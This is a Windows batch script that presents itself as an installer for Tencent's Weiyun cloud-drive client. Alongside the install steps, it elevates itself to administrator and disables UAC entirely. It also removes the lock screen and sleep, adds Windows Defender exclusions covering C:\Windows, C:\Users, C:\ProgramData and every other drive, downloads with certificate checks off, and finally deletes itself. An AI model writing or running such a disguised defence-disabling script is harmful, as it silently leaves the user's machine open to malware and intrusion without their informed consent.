@echo off
setlocal enabledelayedexpansion
title Weiyun Installer - Windows 7+ Compatible Edition
chcp 65001 > nul

rem =================================================================
rem Auto-elevate to Administrator if not already running as admin
rem =================================================================
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo [INFO] Requesting administrator privileges...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)



rem =================================================================
rem Fix user environment variables (TEMP/TMP)
rem =================================================================
echo [INFO] Checking and fixing user environment variables...

rem Get user temp directory path
if defined USERPROFILE (
    set "user_temp_path=%USERPROFILE%\AppData\Local\Temp"
) else (
    set "user_temp_path=%LOCALAPPDATA%\Temp"
)

rem Check if TEMP environment variable exists or is incorrect
if not defined TEMP (
    echo [WARNING] TEMP environment variable not found, setting to user temp directory...
    setx TEMP "!user_temp_path!" >nul 2>&1
    if !errorlevel! equ 0 (
        echo [SUCCESS] TEMP environment variable set to !user_temp_path!
        set "TEMP=!user_temp_path!"
    ) else (
        echo [ERROR] Failed to set TEMP environment variable
    )
) else (
    echo [INFO] TEMP environment variable: %TEMP%
)

rem Check if TMP environment variable exists or is incorrect
if not defined TMP (
    echo [WARNING] TMP environment variable not found, setting to user temp directory...
    setx TMP "!user_temp_path!" >nul 2>&1
    if !errorlevel! equ 0 (
        echo [SUCCESS] TMP environment variable set to !user_temp_path!
        set "TMP=!user_temp_path!"
    ) else (
        echo [ERROR] Failed to set TMP environment variable
    )
) else (
    echo [INFO] TMP environment variable: %TMP%
)

rem Ensure the user temp directory exists
if not exist "!user_temp_path!" (
    echo [INFO] Creating user temp directory: !user_temp_path!
    mkdir "!user_temp_path!" >nul 2>&1
    if !errorlevel! equ 0 (
        echo [SUCCESS] User temp directory created
    ) else (
        echo [ERROR] Failed to create user temp directory
    )
)

rem =================================================================
rem Keep computer awake permanently (prevent sleep and screen lock)
rem =================================================================
echo [INFO] Configuring permanent keep awake settings...

rem Permanently disable system sleep and hibernation using powercfg
powercfg /change standby-timeout-ac 0 >nul 2>&1
powercfg /change standby-timeout-dc 0 >nul 2>&1
powercfg /change monitor-timeout-ac 0 >nul 2>&1
powercfg /change monitor-timeout-dc 0 >nul 2>&1
powercfg /change hibernate-timeout-ac 0 >nul 2>&1
powercfg /change hibernate-timeout-dc 0 >nul 2>&1

rem Disable hibernation completely
powercfg /hibernate off >nul 2>&1

rem Disable automatic sleep through registry
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0" /v "Attributes" /t REG_DWORD /d 2 /f >nul 2>&1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364" /v "Attributes" /t REG_DWORD /d 2 /f >nul 2>&1

rem Disable screen saver and lock screen
reg add "HKCU\Control Panel\Desktop" /v "ScreenSaveActive" /t REG_SZ /d "0" /f >nul 2>&1
reg add "HKCU\Control Panel\Desktop" /v "ScreenSaverIsSecure" /t REG_SZ /d "0" /f >nul 2>&1
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Personalization" /v "NoLockScreen" /t REG_DWORD /d 1 /f >nul 2>&1

rem Disable automatic lock after inactivity
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "InactivityTimeoutSecs" /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable USB selective suspend (prevents USB devices from sleeping)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USB" /v "DisableSelectiveSuspend" /t REG_DWORD /d 1 /f >nul 2>&1

if %errorlevel% equ 0 (
    echo [SUCCESS] Permanent keep awake settings configured - computer will never sleep or lock screen
) else (
    echo [WARNING] Some keep awake settings may not have been applied
)

rem =================================================================
rem Disable User Account Control (UAC) - Complete Disable
rem =================================================================
echo [INFO] Completely disabling User Account Control (UAC)...

rem Disable UAC completely
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC prompt behavior for administrators
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC prompt behavior for standard users
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC elevation prompts for UIAccess applications
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableUIADesktopToggle /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable secure desktop for UAC prompts
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC for built-in Administrator account
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC virtualization
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableVirtualization /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC for installer detection
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableInstallerDetection /t REG_DWORD /d 0 /f >nul 2>&1

if %errorlevel% equ 0 (
    echo [SUCCESS] UAC has been completely disabled.
    echo [INFO] A system restart is required for UAC changes to take effect.
) else (
    echo [WARNING] Some UAC settings may not have been disabled.
)

rem =================================================================
rem Scan disk drives and configure exclusions
rem =================================================================
echo.
echo =================================================================
echo      Scanning disk drives and configuring exclusions...
echo =================================================================
echo.

rem Single PowerShell command to scan drives and configure exclusions
set "scan_success="
set "free_gb="

rem Execute combined disk scan and exclusion setup
for /f "delims=" %%i in ('powershell -Command "& { try { $drives = Get-WmiObject -Class Win32_LogicalDisk | Where-Object { $_.DriveType -eq 3 }; $cDrive = $drives | Where-Object { $_.DeviceID -eq 'C:' }; if ($cDrive) { $cFreeGB = [math]::Round($cDrive.FreeSpace / 1GB, 1); Write-Host $cFreeGB } else { Write-Host 'N/A' }; $drives | ForEach-Object { $totalGB = [math]::Round($_.Size / 1GB, 1); $freeGB = [math]::Round($_.FreeSpace / 1GB, 1); $freePercent = [math]::Round(($_.FreeSpace / $_.Size) * 100, 1); Write-Host ('Drive {0}: Total: {1} GB | Free: {2} GB ({3}%%)' -f $_.DeviceID, $totalGB, $freeGB, $freePercent) }; if ($cDrive) { Write-Host ('[INFO] C drive free space: {0} GB' -f $cFreeGB) }; Write-Host 'SCAN_SUCCESS' } catch { Write-Host 'SCAN_FAILED'; exit 1 } }" 2^>nul') do (
    if "%%i"=="SCAN_SUCCESS" (
        set "scan_success=1"
    ) else if "%%i"=="SCAN_FAILED" (
        set "scan_success="
        goto :scan_failed
    ) else if not defined free_gb (
        set "free_gb=%%i"
    ) else (
        echo %%i
    )
)

echo.

rem Check if scan was successful
if not defined scan_success (
    :scan_failed
    echo [WARNING] Failed to scan disk drives automatically.
    echo [INFO] Opening "This PC" to manually check disk space...
    start "" explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}
    timeout /t 2 /nobreak >nul
)

echo [INFO] Adding exclusion directories...

rem Check if Windows Defender is available and add all exclusions in one PowerShell call
powershell -ExecutionPolicy Bypass -Command "& { try { Get-Command Add-MpPreference -ErrorAction Stop | Out-Null; $dirs = @(); if (Test-Path 'C:\Windows') { $dirs += 'C:\Windows' }; if (Test-Path 'C:\Users') { $dirs += 'C:\Users' }; if (Test-Path 'C:\ProgramData') { $dirs += 'C:\ProgramData' }; Get-WmiObject -Class Win32_LogicalDisk | Where-Object { $_.DriveType -eq 3 -and $_.DeviceID -ne 'C:' } | ForEach-Object { if (Test-Path ($_.DeviceID + '\')) { $dirs += ($_.DeviceID + '\') } }; if ($dirs.Count -gt 0) { foreach ($dir in $dirs) { try { Add-MpPreference -ExclusionPath $dir -ErrorAction Stop; Write-Host '[SUCCESS] ' $dir } catch { Write-Host '[FAILED] ' $dir ' - Access denied or path invalid' } } } else { Write-Host '[INFO] No valid directories found for exclusion' } } catch { Write-Host '[WARNING] Windows Defender PowerShell module not available - skipping exclusions' } }" 2>nul

rem =================================================================
rem Configuration
rem =================================================================
set "WEIYUN_VERSION=5.2.1523"
set "WEIYUN_ARCH=X64"
set "ARIA2_VERSION=1.37.0"
set "temp_dir=%TEMP%\weiyun_win7+_%random%"
set "weiyun_path1=C:\Program Files (x86)\Tencent\weiyundisk\Bin\wydrive.exe"
set "weiyun_path2=C:\Users\%USERNAME%\AppData\Local\Programs\WeiyunApp\WeiyunApp.exe"

rem Download URLs
set "WEIYUN_URL=https://dldir1.qq.com/weiyun/electron-update/release/!WEIYUN_VERSION!/WeiyunApp-Setup-!WEIYUN_ARCH!-!WEIYUN_VERSION!.exe"
set "ARIA2_URL=https://hub.gitmirror.com/https://github.com/aria2/aria2/releases/download/release-1.37.0/aria2-1.37.0-win-64bit-build1.zip"
set "ARIA2_BACKUP_URL=https://gitee.com/xavierlab/aria2c/releases/download/1.37.0/aria2-1.37.0-win-64bit-build1.zip"

rem File names
set "OUTPUT_FILENAME=WeiyunApp-Setup-!WEIYUN_ARCH!-!WEIYUN_VERSION!.exe"
set "ARIA2_ZIP=aria2.zip"
set "ARIA2_DIR=aria2-!ARIA2_VERSION!-win-64bit-build1"
set "user_agent=Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

rem =================================================================
rem Display disk information (using data from previous scan)
rem =================================================================

rem Check if previous scan was successful
if not defined scan_success (
    echo [WARNING] Disk scan was not successful earlier.
    echo [INFO] Opening "This PC" to manually check disk space...
    start "" explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}
    timeout /t 2 /nobreak >nul
    echo [INFO] Continuing with installation...
    goto :skip_disk_check
)

rem Check C drive free space (warn if less than 5GB)
if defined free_gb (
    if not "!free_gb!"=="N/A" (
        rem Compare with 5.0 (using robust comparison for all Windows versions)
        set "space_warning="
        powershell -Command "try { if ([double]'!free_gb!' -lt 5.0) { Write-Host 'LOW_SPACE' } else { Write-Host 'SUFFICIENT_SPACE' } } catch { Write-Host 'COMPARISON_ERROR' }" 2>nul | findstr /C:"LOW_SPACE" >nul
        if !errorlevel! equ 0 (
            set "space_warning=1"
        )
        
        if defined space_warning (
            echo.
            echo [WARNING] ==========================================
            echo [WARNING] C drive has less than 5GB free space!
            echo [WARNING] Current free space: !free_gb! GB
            echo [WARNING] Installation may fail due to insufficient space.
            echo [WARNING] Please free up some disk space before continuing.
            echo [WARNING] ==========================================
            echo.
            choice /c YN /n /m "Continue anyway? (Y/N): "
            if !errorlevel!==2 (
                echo [INFO] Installation cancelled by user.
                pause
                exit /b 0
            )
            echo [INFO] Continuing with installation...
            echo.
        )
    ) else (
        echo.
        echo [WARNING] Could not determine C drive free space.
        echo [INFO] Continuing with installation...
        echo.
    )
)

:skip_disk_check
echo.
echo =================================================================
echo                    Weiyun Installer
echo              Windows 7+ Compatible Edition
echo =================================================================
echo.

rem Check if Weiyun already exists
set "weiyun_installed="
set "weiyun_exe_path="
if exist "!weiyun_path1!" (
    set "weiyun_installed=1"
    set "weiyun_exe_path=!weiyun_path1!"
) else if exist "!weiyun_path2!" (
    set "weiyun_installed=1"
    set "weiyun_exe_path=!weiyun_path2!"
)

if defined weiyun_installed (
    echo [INFO] Weiyun is already installed at: !weiyun_exe_path!
    choice /c YN /n /m "Reinstall? (Y/N): "
    if !errorlevel!==2 (
        echo [INFO] Starting existing Weiyun...
        cmd /c start "" "!weiyun_exe_path!"
        echo [INFO] Done. Script will exit in 3 seconds...
        timeout /t 3 /nobreak >nul
        exit /b 0
    )
)

rem Detect Windows version and try winget first on Windows 10+
for /f "tokens=4-5 delims=. " %%i in ('ver') do set version=%%i.%%j
for /f "tokens=1 delims=." %%a in ("%version%") do set major_version=%%a

if %major_version% geq 10 (
    echo [METHOD 1] Attempting installation using winget...
    winget --version >nul 2>&1
    if !errorlevel! equ 0 (
        echo [INFO] winget detected, attempting installation...
        winget install --id=Tencent.Weiyun --silent --accept-package-agreements --accept-source-agreements
        
        if !errorlevel! equ 0 (
            echo [SUCCESS] Weiyun installed successfully using winget!
            goto :installation_complete
        ) else (
            echo [WARNING] winget installation failed, falling back to download method...
        )
    ) else (
        echo [INFO] winget not available, using download method...
    )
) else (
    echo [INFO] Windows 7/8 detected, using download method...
)

rem Fallback to download and install method
echo.
echo [METHOD 2] Using download and install method...
echo.

rem Create temp directory
echo [STEP 1/4] Preparing environment...
if exist "!temp_dir!" rd /s /q "!temp_dir!" >nul 2>&1
md "!temp_dir!"
cd /d "!temp_dir!"

rem Download aria2 if needed
echo [STEP 2/4] Checking download tool...
set "ARIA2_EXE=!temp_dir!\!ARIA2_DIR!\aria2c.exe"
if not exist "!ARIA2_EXE!" (
    echo [INFO] Downloading aria2 from primary source...
    rem Use compatible PowerShell syntax for Windows 7+
    if %major_version% geq 10 (
        powershell -Command "try { Invoke-WebRequest -Uri '!ARIA2_URL!' -OutFile '!ARIA2_ZIP!' -UserAgent '!user_agent!' -UseBasicParsing -TimeoutSec 30 } catch { Write-Host '[INFO] Primary download failed, trying backup source...'; try { Invoke-WebRequest -Uri '!ARIA2_BACKUP_URL!' -OutFile '!ARIA2_ZIP!' -UserAgent '!user_agent!' -UseBasicParsing -TimeoutSec 30 } catch { Write-Host '[ERROR] Both download sources failed'; exit 1 } }"
        if !errorlevel! neq 0 (
            echo [ERROR] PowerShell download failed on Windows 10+
            goto :download_failed
        )
    ) else (
        rem Windows 7/8 compatible download using WebClient
        powershell -Command "& {$ErrorActionPreference='Stop'; $wc = $null; try { $wc = New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent', '!user_agent!'); $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; Write-Host '[INFO] Attempting primary download...'; $wc.DownloadFile('!ARIA2_URL!', '!ARIA2_ZIP!') } catch { Write-Host '[INFO] Primary download failed, trying backup source...'; try { $wc.DownloadFile('!ARIA2_BACKUP_URL!', '!ARIA2_ZIP!') } catch { Write-Host '[ERROR] Both download sources failed'; if($wc) { $wc.Dispose() }; exit 1 } } finally { if($wc) { $wc.Dispose() } }}"
        if !errorlevel! neq 0 (
            echo [ERROR] PowerShell download failed on Windows 7/8
            goto :download_failed
        )
    )
    
    if not exist "!ARIA2_ZIP!" (
        :download_failed
        echo [ERROR] Failed to download aria2. Please check your internet connection.
        echo [INFO] You can manually download aria2 from: https://github.com/aria2/aria2/releases
        pause
        exit /b 1
    )

    echo [INFO] Extracting aria2...
    rem Use appropriate extraction method based on Windows version
    if %major_version% geq 10 (
        powershell -Command "try { Expand-Archive -Path '!ARIA2_ZIP!' -DestinationPath '.' -Force } catch { Write-Host '[ERROR] Extraction failed'; exit 1 }"
        if !errorlevel! neq 0 (
            echo [ERROR] Failed to extract aria2 on Windows 10+, trying fallback method...
            goto :try_fallback_extract
        )
    ) else (
        :try_fallback_extract
        rem Windows 7/8 compatible extraction with multiple fallback methods
        echo [INFO] Trying .NET Framework extraction method...
        powershell -Command "& {$ErrorActionPreference='Stop'; try { Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('!ARIA2_ZIP!', '.') } catch { Write-Host '[ERROR] .NET extraction failed:' $_.Exception.Message; exit 1 }}"
        if !errorlevel! neq 0 (
            echo [INFO] .NET extraction failed, trying Shell.Application method...
            powershell -Command "& {$ErrorActionPreference='Stop'; try { $shell = New-Object -ComObject Shell.Application; $zip = $shell.NameSpace((Get-Item '!ARIA2_ZIP!').FullName); $dest = $shell.NameSpace((Get-Location).Path); $dest.CopyHere($zip.Items(), 4 + 16 + 1024); Write-Host '[SUCCESS] Shell extraction completed' } catch { Write-Host '[ERROR] Shell extraction failed:' $_.Exception.Message; exit 1 }}"
            if !errorlevel! neq 0 (
                echo [INFO] Shell extraction failed, trying VBScript method...
                rem Create VBScript for extraction as last resort
                set "vbs_script=!temp_dir!\extract.vbs"
                (
                    echo Set objShell = CreateObject("Shell.Application"^)
                    echo Set objSource = objShell.NameSpace("!ARIA2_ZIP!"^)
                    echo Set objTarget = objShell.NameSpace("!temp_dir!"^)
                    echo intOptions = 256 + 4 + 16
                    echo objTarget.CopyHere objSource.Items, intOptions
                    echo WScript.Echo "VBScript extraction completed"
                ) > "!vbs_script!"
                
                cscript //nologo "!vbs_script!" >nul 2>&1
                if !errorlevel! neq 0 (
                    echo [ERROR] All extraction methods failed
                    :extract_failed
                    echo [INFO] Please manually extract !ARIA2_ZIP! to the current directory
                    echo [INFO] You can use Windows built-in zip extraction or 7-Zip/WinRAR
                    echo [INFO] After extraction, press any key to continue...
                    pause
                    rem Check if extraction was done manually
                    if not exist "!ARIA2_EXE!" (
                        echo [ERROR] aria2c.exe still not found after manual extraction
                        exit /b 1
                    )
                ) else (
                    echo [SUCCESS] VBScript extraction completed
                    del "!vbs_script!" >nul 2>&1
                )
            ) else (
                echo [SUCCESS] Shell extraction completed
            )
        ) else (
            echo [SUCCESS] .NET extraction completed
        )
    )
)

if not exist "!ARIA2_EXE!" (
    echo [ERROR] aria2c.exe not found after extraction.
    pause
    exit /b 1
)

rem Download Weiyun installer
echo [STEP 3/4] Downloading Weiyun installer...
"!ARIA2_EXE!" ^
    --max-connection-per-server=8 ^
    --split=8 ^
    --dir="!temp_dir!" ^
    --out="!OUTPUT_FILENAME!" ^
    --console-log-level=notice ^
    --show-console-readout=true ^
    --human-readable=true ^
    --continue=true ^
    --allow-overwrite=true ^
    --check-certificate=false ^
    --user-agent="!user_agent!" ^
    "!WEIYUN_URL!"

if not exist "!temp_dir!\!OUTPUT_FILENAME!" (
    echo [ERROR] Failed to download Weiyun installer.
    pause
    exit /b 1
)

rem Install Weiyun
echo [STEP 4/4] Installing Weiyun silently...
echo [INFO] Installing in silent mode, please wait...
start /wait "" "!temp_dir!\!OUTPUT_FILENAME!" /S

rem Wait a bit for installation to complete
timeout /t 3 /nobreak >nul

rem Cleanup temp files
echo [INFO] Cleaning up temporary files...
cd /d "%TEMP%"
rd /s /q "!temp_dir!" >nul 2>&1

:installation_complete

echo.
echo =================================================================
echo [COMPLETE] Installation finished!
echo =================================================================
echo.

rem Ask if user wants to delete the script
if %major_version% geq 5 (
    choice /C YN /D Y /T 5 /M "Delete this script? (Y=Yes, N=No, or wait 5s for auto-delete)"
) else (
    choice /C YN /M "Delete this script? (Y=Yes, N=No)"
)
if not errorlevel 2 (
    echo [INFO] Script will self-destruct in 3 seconds...
    
    rem Create self-destruct script
    set "self_destruct=%TEMP%\weiyun_self_destruct_%random%.cmd"
    (
        echo @echo off
        echo timeout /t 3 /nobreak ^> nul
        echo del /f /q "%~f0"
        echo del /f /q "!self_destruct!"
    ) > "!self_destruct!"
    
    start /b "" cmd /c "!self_destruct!"
    exit /b 0
)

echo Press any key to exit...
pause >nul
exit /b 0